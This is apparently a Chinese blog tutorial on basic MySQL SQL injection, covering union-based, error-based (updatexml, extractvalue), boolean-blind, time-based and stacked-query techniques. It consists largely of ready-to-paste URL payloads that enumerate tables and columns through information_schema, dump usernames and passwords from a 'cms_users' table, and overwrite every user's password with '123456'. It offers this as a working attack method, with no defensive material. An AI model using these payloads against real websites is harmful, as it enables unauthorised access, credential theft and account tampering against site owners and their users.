sql注入的基本手法

目的 

通过sqk注入获取数据内容 

掌握sql注入基本手法 

我们这里使用

1.联合注入  

就是利用union select  语句   两条语句 同时执行 实现跨库跨表查询 

条件 

两条select语句查询结果具有相同列数 

对应列数数据类型相同 

简单的步骤 

1.目标分析  

?id=32

?id=33    

这一步看看有没有页面变化   其实就是mysql数据库执行  如果有

第一步  

查看列数   

?id=32 order  by   1 

 一致改变数字   直到页面一篇空白  没有内容      

判断出来一共有多少列     

如果到20就显示空白  那末20-1 就是19 是他的极限  

第二步

判断回显位置

把第一条select查询语句变成假的   

因为只要前端报错   后面的语句才会执行 

?id=-32(假的) union select  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

?id=32 and 1=2 (这个也是假)

这一步会把 回显的位置爆破出来 

第三步 

数据库敏感信息

也可以  ?id=-33

?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15   在回显位置查看数据库名字

?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15  查看版本 

?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,@@datadir,12,13,14,15  查看数据库系统变量 

?id=32 and 1=2(只为假) union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15 1 2 3 4  函数返回的是当前会话中的用户身份信息

获取管理员和密码  必须报错前面的值

information_schema.tables  自带数据库 (库名字  表名字  列名字 )

数据库名字    

?id=-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15

  表名字

1.查看数据库所有的表     group by   

?id=-33 UNION SELECT 1,2,count(*)(统计),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables(mysql的自带数据库) where table_schema=database()(条件是现在的数据库)   这句话的意思   

2.查看表的名字   16进制  bp可以解码 

?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where  table_schema=database() limit 0,1   16进制查看0列1行

   

?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 1,1   查看1行1列 

2.查出所有的表的 它将从当前数据库中的所有表中获取信息

?id=-33 UNION SELECT 1,2,hex(group_concat(table_name))(分组查询),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() 

记住一定要解码  负责就是16进制   bp或者网站 

3.查看列数 

?id=-33 UNION SELECT 1,2,hex(group_concat(column_name))(合并列名),4,5,6,7,8,9,10,11,12,13,14,15 from

information_schema.columns where table_schema=database() and table_name='cms_users’

查看列数 在这个表里  在这个数据库            

4.查看账户和密码 

id=-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users   查看表里的账户和密码 

一定要解密     

报错注入 

在注入点判断过程中  发现sql注入的报错语句   显示到页面 

在错误信息里执行sql语句 

案例   

?id=33‘    数据库报错   

?id=33’‘  数据库  

直接使用 

第一种方法   group by  

查看数据库   页面并且报错 

报错页面 

前提 

?id=33’(闭合字段) 爆数据库的错  并且回显到页面 

第一中 updatexml  

mysql数据库  

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

第二种  extractvalue 

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

三.布尔盲注 

没有回显    直接猜    效率极低  

1. id=2'(闭合) and database()='xxx' --+   猜数据库名字    页面正常 

2.?id=2' and length(database())=8 --+   猜长度   页面正常 

3.猜数据库的字目  ascill值 

id=2' and ascii(substr(database(),1,1))=115 --+    第一个数字 

' and ascii(substr(database(),2,1))=101 --+     第二个数字 

四.延时注入  

实验sleep的延时性  以时间线做判断条件 

?id=2' and if(length(database())>1,sleep(5),1) --+   看看页面延时  如果数据库名字大于1睡5s

?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+  如果是第三个列的第一个字符  是不是为c 

五.堆叠查询

 多条语句执行     真实场景极少 

堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句

?id=2';update users set password='123456'--+    

你可能感兴趣的:(web10大漏洞,sql,数据库)